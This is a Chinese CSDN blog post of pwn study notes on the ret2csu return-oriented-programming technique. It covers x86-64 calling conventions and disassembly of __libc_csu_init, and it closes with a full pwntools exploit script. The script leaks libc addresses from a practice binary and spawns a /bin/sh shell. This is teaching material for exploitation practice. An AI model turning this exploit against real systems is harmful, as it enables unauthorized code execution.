pwn学习笔记（9）-中级ROP--ret2csu

最新推荐文章于 2024-09-14 21:53:48 发布
最新推荐文章于 2024-09-14 21:53:48 发布
阅读量319 收藏 4
点赞数 4
分类专栏： Pwn 文章标签： 学习 笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_66013948/article/details/141040369
版权

pwn学习笔记（9）-中级ROP–ret2csu

前置知识

​ 首先是64位文件的传参方式：前六个参数是从左到右放入寄存器：rdi、rsi、rdx、rcx、r8、r9，之后的通过栈传参。

​ 比如：

传参函数大于7个：

H(a,b,c,d,e,f,g,h)

a->%rdi、b->%rsi、c->%rdx、d->%rcx、e->%r8、f->%r9

h->(%esp)

g->(%esp)

call H

​ 先看看如下代码：

#include "stdio.h"


int H(int a,int b,int c,int d,int e,int f,int g,int h);

int main(){
        int a = 1,b = 2,c = 3,d = 4,e = 5,f = 6,g = 7,h = 8;
        printf("%d",H(a,b,c,d,e,f,g,h));
        return 0;
}



int H(int a,int b,int c,int d,int e,int f,int g,int h){
        return a+b+c+d+e+f+g+h;
}

​ 之后反汇编一下main函数和H函数的代码

0000000000001149 <main>:
    1149:       f3 0f 1e fa             endbr64
    114d:       55                      push   rbp
    114e:       48 89 e5                mov    rbp,rsp
    1151:       48 83 ec 20             sub    rsp,0x20
    1155:       c7 45 e0 01 00 00 00    mov    DWORD PTR [rbp-0x20],0x1
    115c:       c7 45 e4 02 00 00 00    mov    DWORD PTR [rbp-0x1c],0x2
    1163:       c7 45 e8 03 00 00 00    mov    DWORD PTR [rbp-0x18],0x3
    116a:       c7 45 ec 04 00 00 00    mov    DWORD PTR [rbp-0x14],0x4
    1171:       c7 45 f0 05 00 00 00    mov    DWORD PTR [rbp-0x10],0x5
    1178:       c7 45 f4 06 00 00 00    mov    DWORD PTR [rbp-0xc],0x6
    117f:       c7 45 f8 07 00 00 00    mov    DWORD PTR [rbp-0x8],0x7
    1186:       c7 45 fc 08 00 00 00    mov    DWORD PTR [rbp-0x4],0x8
    118d:       44 8b 4d f4             mov    r9d,DWORD PTR [rbp-0xc]
    1191:       44 8b 45 f0             mov    r8d,DWORD PTR [rbp-0x10]
    1195:       8b 4d ec                mov    ecx,DWORD PTR [rbp-0x14]
    1198:       8b 55 e8                mov    edx,DWORD PTR [rbp-0x18]
    119b:       8b 75 e4                mov    esi,DWORD PTR [rbp-0x1c]
    119e:       8b 45 e0                mov    eax,DWORD PTR [rbp-0x20]
    11a1:       8b 7d fc                mov    edi,DWORD PTR [rbp-0x4]
    11a4:       57                      push   rdi
    11a5:       8b 7d f8                mov    edi,DWORD PTR [rbp-0x8]
    11a8:       57                      push   rdi
    11a9:       89 c7                   mov    edi,eax
    11ab:       e8 1e 00 00 00          call   11ce <H>
    11b0:       48 83 c4 10             add    rsp,0x10
    11b4:       89 c6                   mov    esi,eax
    11b6:       48 8d 3d 47 0e 00 00    lea    rdi,[rip+0xe47]        # 2004 <_IO_stdin_used+0x4>
    11bd:       b8 00 00 00 00          mov    eax,0x0
    11c2:       e8 89 fe ff ff          call   1050 <printf@plt>
    11c7:       b8 00 00 00 00          mov    eax,0x0
    11cc:       c9                      leave
    11cd:       c3                      ret

00000000000011ce <H>:
    11ce:       f3 0f 1e fa             endbr64
    11d2:       55                      push   rbp
    11d3:       48 89 e5                mov    rbp,rsp
    11d6:       89 7d fc                mov    DWORD PTR [rbp-0x4],edi
    11d9:       89 75 f8                mov    DWORD PTR [rbp-0x8],esi
    11dc:       89 55 f4                mov    DWORD PTR [rbp-0xc],edx
    11df:       89 4d f0                mov    DWORD PTR [rbp-0x10],ecx
    11e2:       44 89 45 ec             mov    DWORD PTR [rbp-0x14],r8d
    11e6:       44 89 4d e8             mov    DWORD PTR [rbp-0x18],r9d
    11ea:       8b 55 fc                mov    edx,DWORD PTR [rbp-0x4]
    11ed:       8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
    11f0:       01 c2                   add    edx,eax
    11f2:       8b 45 f4                mov    eax,DWORD PTR [rbp-0xc]
    11f5:       01 c2                   add    edx,eax
    11f7:       8b 45 f0                mov    eax,DWORD PTR [rbp-0x10]
    11fa:       01 c2                   add    edx,eax
    11fc:       8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
    11ff:       01 c2                   add    edx,eax
    1201:       8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
    1204:       01 c2                   add    edx,eax
    1206:       8b 45 10                mov    eax,DWORD PTR [rbp+0x10]
    1209:       01 c2                   add    edx,eax
    120b:       8b 45 18                mov    eax,DWORD PTR [rbp+0x18]
    120e:       01 d0                   add    eax,edx
    1210:       5d                      pop    rbp
    1211:       c3                      ret

​ 很明显的就是前六个参数是寄存器传参，剩下两个就是栈传参。

libc_csu_init函数基础：

.text:0000000000001220
.text:0000000000001220 ; =============== S U B R O U T I N E =======================================
.text:0000000000001220
.text:0000000000001220
.text:0000000000001220 ; void _libc_csu_init(void)
.text:0000000000001220                 public __libc_csu_init
.text:0000000000001220 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000001220 ; __unwind {
.text:0000000000001220                 endbr64
.text:0000000000001224                 push    r15
.text:0000000000001226                 lea     r15, __frame_dummy_init_array_entry
.text:000000000000122D                 push    r14
.text:000000000000122F                 mov     r14, rdx
.text:0000000000001232                 push    r13
.text:0000000000001234                 mov     r13, rsi
.text:0000000000001237                 push    r12
.text:0000000000001239                 mov     r12d, edi
.text:000000000000123C                 push    rbp
.text:000000000000123D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000001244                 push    rbx
.text:0000000000001245                 sub     rbp, r15
.text:0000000000001248                 sub     rsp, 8
.text:000000000000124C                 call    _init_proc
.text:0000000000001251                 sar     rbp, 3
.text:0000000000001255                 jz      short loc_1276
.text:0000000000001257                 xor     ebx, ebx
.text:0000000000001259                 nop     dword ptr [rax+00000000h]
.text:0000000000001260
.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260                 mov     rdx, r14
.text:0000000000001263                 mov     rsi, r13
.text:0000000000001266                 mov     edi, r12d
.text:0000000000001269                 call    ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D                 add     rbx, 1
.text:0000000000001271                 cmp     rbp, rbx
.text:0000000000001274                 jnz     short loc_1260
.text:0000000000001276
.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276                 add     rsp, 8
.text:000000000000127A                 pop     rbx
.text:000000000000127B                 pop     rbp
.text:000000000000127C                 pop     r12
.text:000000000000127E                 pop     r13
.text:0000000000001280                 pop     r14
.text:0000000000001282                 pop     r15
.text:0000000000001284                 retn
.text:0000000000001284 ; } // starts at 1220

​ 这里我们可以利用下面的几个点，上汇编：

.text:0000000000001276 loc_1276:                               ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000001276                 add     rsp, 8
.text:000000000000127A                 pop     rbx
.text:000000000000127B                 pop     rbp
.text:000000000000127C                 pop     r12
.text:000000000000127E                 pop     r13
.text:0000000000001280                 pop     r14
.text:0000000000001282                 pop     r15
.text:0000000000001284                 retn

​ 发现了这里可以修改个别寄存器的值，然后是这儿，可以修改传参用的那几个寄存器的值：

.text:0000000000001260 loc_1260:                               ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000001260                 mov     rdx, r14
.text:0000000000001263                 mov     rsi, r13
.text:0000000000001266                 mov     edi, r12d
.text:0000000000001269                 call    ds:(__frame_dummy_init_array_entry - 3DB8h)[r15+rbx*8]
.text:000000000000126D                 add     rbx, 1
.text:0000000000001271                 cmp     rbp, rbx
.text:0000000000001274                 jnz     short loc_1260

​ 由此，我们可以通过控制r13等和传参用的寄存器相对应的来进行ret2syscall等操作。

例子：

​ 先看看架构：

g01den@MSI:~/Temp$ checksec pwn
[*] '/home/g01den/Temp/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

​ IDA分析：

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

​ 然后看看__libc_csu_init

.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 ; } // starts at 4005C0

​ 由下面这个点可以知道，可以控制的寄存器为 edi、rsi、rdx，另外，call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]还使得可以调用r12+rbx*8的一个地址的函数，所以，这里可以利用r12来跳转到write函数来泄露write函数的地址，然后就可以通过ret2libc来获得shell，

from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil('Hello, World\n')
payload0 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a '*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_start = u64(p.recv(8))
print "write_addr_in_memory_is "+hex(write_start)

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc.so.6')

libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

print "libc_base_addr_in_memory_is "+hex(libc_base)
print "system_addr_in_memory_is "+hex(system_addr)
print "/bin/sh_addr_in_memory_is "+hex(binsh)

pop_rdi_ret=0x400623
payload='a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)
p.interactive()
晓幂
关注
专栏目录
PWN学习笔记（一）Basic Rop
weixin_44120526的博客
12-26 346
此学习笔记主要基于CTF WIKI 中的Basic rop部分。 网址为：https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop/ -------------------------------------------------------------------- 首先翻译了一下文章的开头，内容为： 打开NX保护后，很难继续直接将代码注入堆栈或堆中。攻击者也提出了相应的绕过保护的方法。目前最主要的是面向返回的程序设计。主要思想是基于堆栈.
PWN入门系列（2）ROP
小心信科理化声
12-03 742
PWN入门系列（2）ROP 基本ROP 在上一篇博客中我们介绍了在ELF文件经过checksec查看保护措施后，有一个叫做NX的保护措施，即数据执行保护，在此保护措施开启后，很难直接向栈或者堆上直接注入代码，所以攻击者得想办法绕过NX的保护机制，而ROP（Return Oriented Programming）就是主要的绕过措施，主要的思想是在栈缓冲溢出的基础上，利用程序中已经有的小片段，也被称作（gadgets）来改变某些寄存器或者变量的值，进而达到控制程序的执行流程。那么什么是gadgets呢？ gad
CTF-PWN-栈溢出-中级ROP-【BROP-2】
llovewuzhengzi的博客
12-26 1183
此时将输出函数puts在got表中的地址作为参数，调用puts函数，从而得到puts的真实地址，进而得到libc基地址。注意此时不要关闭传输通道，不然进程再次重启，对应的puts的真实地址会改变，其libc基地址也会改变，所以此时得到puts函数真实地址后跳转到主函数（返回地址是stop_addr），然后计算得到libc基地址和system地址和/bin/sh的地址，然后再次输入构造的ROP链即getshellput_got_addr=0x601018 # 查看binary_file找到got表的地址。
CTF-PWN-栈溢出-中级ROP-【BROP-1】
llovewuzhengzi的博客
12-26 1282
此时得到二进制文件后，找到输出函数的对应plt位置，找到其中跳转指令中存在输出函数在got表的地址，然后再次输出，此时参数为输出函数在got表中的地址，此时可以得到输出函数的真实地址，最后得到libc基地址并计算出/bin/sh的地址和system的地址，如果没有此时可以利用read函数或write函数写入可写的内存，参数自己构造，所以知道地址，然后调用系统调用或system都行，只不过系统调用还需构造其他参数。即没有得到源码或者可执行程序文件的情况的文件下，只有一个提供的功能端口进行攻击。
栈溢出----中级ROP
qq_42192672的博客
10-21 598
学习资料：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/ 1.ret2__libc_csu_init 这个主要是争对64位的程序的，和32位的栈传参不同的是，在 64 位程序中，函数的前 6 个参数是通过寄存器传递的，最完美的情况，肯定是需要的寄存器可以通过ROPgadgets找到合适的，但是总有找...
ret2csu
F_Day_的博客
10-19 322
ret2csu 我认为这道题本身是没有什么实际意义的，但是它教会了我一种新的利用思路 这道题虽然明确指出利用函数__libc_csu_init来进行 但这个函数本身不是做为攻击者使用而设计的，它是设计出来初始化libc，只是恰好我们能够利用 因此，我认为这道题的主要目的是利用现有的汇编片段来实现攻击（与ret2por比较类似） __libc_csu_init 在本题里，这个函数的汇编代码如下（可能与你看到的有点不同） ; void _libc_csu_init(void) public __libc_c
中级ROP
m0_49959202的博客
09-23 468
文章目录中级ROP1.原理1.1 ret2csu1.1.1 libc_csu_init展示1.1.2 可用gadget介绍1.1.3 组合使用gadget思路1.1.4 类似于libc_csu_init，其他可用的gadget1.1.5 利用libc_csu_init尾部偏移，控制其他寄存器1.2 ret2reg1.2.1 原理1.2.2 防御方法1.3 BROP1.3.1 概念1.3.2 攻击条件1.3.3 攻击原理1.3.3.1 栈溢出长度1.3.3.2 Stack Reading1.3.3.3 Bli
64位linux系统：栈溢出+ret2libc ROP attack
Zhangmii的博客
06-03 2390
一．实验要求栈溢出+ ret2libc ROP 操作系统：Ubuntu 16.04 64bit 安全机制：不可执行位保护，ASLR（内存地址随机化）打开安全机制，确保×××能绕过以上安全机制，利用漏洞完成attack，实现基本目标：调用system(“/bin/sh”)，打开shell。二．实验概述ret2libc（return-into-libc）是一种利用缓冲区溢出的代码复用技术，主要通过...
PWN入门学习
qq_20254219的博客
10-20 2504
基础PWN知识入门 二进制基础 ​ 从C源代码到可执行文件的生成过程 ​ 可执行文件广义上的可执行文件，文件本身是没有执行权限的，和用户权限无关。可以通过命令给文件赋权。 ELF的执行​ 需要将在磁盘上的程序载入内存中。 在磁盘中的是节，映射到内存就是段。 在执行过程中，存储在磁盘中具有相同权限的节会被映射到内存中合成一个段。进程虚拟地址空间​ 操作系统管理所有硬件，程序
Redis 入门 - 五大基础类型及其指令学习
IT规划师
09-11 803
学习Redis基础类型：字符串、集合、有序集合、列表、哈希，每种类型有各自的特点和常用指令。掌握这些基础是熟练使用Redis的关键。更多指令需自行尝试。
计算几何学习
网安小白
09-12 422
学习计算几何过程中对经典算法的记录
看Threejs好玩示例，学习创新与技术(二)
最新发布
htsitr2的专栏
09-14 177
它的主要特点是确保生成的点之间保持一定的最小距离，从而避免点的聚集。这种方法在计算机图形学、游戏开发、物理模拟等领域中非常有用，尤其是在需要生成自然分布的对象（如树木、石头等）时。如果不进行裁剪，那么效果如下（初步的锯齿感是因为矩形内采样的结果）。为啥这么复杂呢，为啥不开始存储每个方块的UV呢？下面代码的vTexCoords（=savedModelMatrix，已修改）记录方块所在的位置，vWorldPosition表示方块中像素的偏移。在上面那副图中，聪明的你一定初步猜到了每个方块的纹理是怎么得到的。
qmt量化交易策略小白学习笔记第61期【qmt编程之期权行情数据--get_market_data_ex函数】
fanglue3705的博客
09-09 732
获取期权行情数据 获取期权最新数据，首先需要进行数据订阅。完成合约订阅后，用get_market_data_ex函数即可提取相关信息。这个过程包含两大步骤： 第一，通过订阅操作确保能接收到你感兴趣的期权合约的更新； 第二，调用get_market_data_ex函数来实际获取并处理这些订阅到的数据,如果需要用到历史数据或过期合约数据，需要使用download_history_data进行下载。
网络工程师学习笔记——网络互连与互联网
2301_77279557的博客
09-14 556
网络互连相关技术
区块链学习笔记2--区块链技术的形成 以太坊
weixin_61074128的博客
09-10 370
以太坊的定义：以太坊是运行在一个计算机网络中的软件，他确保数据以及智能合约的小程序可以在没有宗信协调者的情况下，被所有网络中的计算机复制和处理。以太坊的改进： 交易速度加快；pow+pos算法，逐步向pos算法过渡；智能合约：不受人为因素影响，没有黑幕；比特币的出现让经济贸易变得简单，而比特币系统的不足，也同样被人诟病。于是出现了致力解决比特币不足的“V神”。以太坊的愿景是创建一个无法停止，抗屏蔽（审查）和自我维持的去中心化世界计算机。比特币的不足：交易速度慢；仅仅完成了货币的去中心化。
AdaBoost算法（AdbBoost Algorithm）—有监督学习方法、非概率模型、判别模型、非线性模型、非参数化模型、批量学习
nanxiaotao的博客
09-11 855
AdaBoost算法（AdbBoost Algorithm）—有监督学习方法、非概率模型、判别模型、非线性模型、非参数化模型、批量学习
【学习笔记】SSL证书之前向保密
Taki_UP的博客
09-10 709
本篇介绍了密码学中前向保密（Forward Secrecy）的相关内容
mqtt-pwn安装
09-20
2. 进入mqtt-pwn目录：使用命令`cd mqtt-pwn`进入mqtt-pwn所在的目录。 3. 启动mqtt-pwn容器：使用命令`sudo docker-compose up --build --detach`启动mqtt-pwn容器。 另外，您还需要安装以下软件： 1. 安装...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值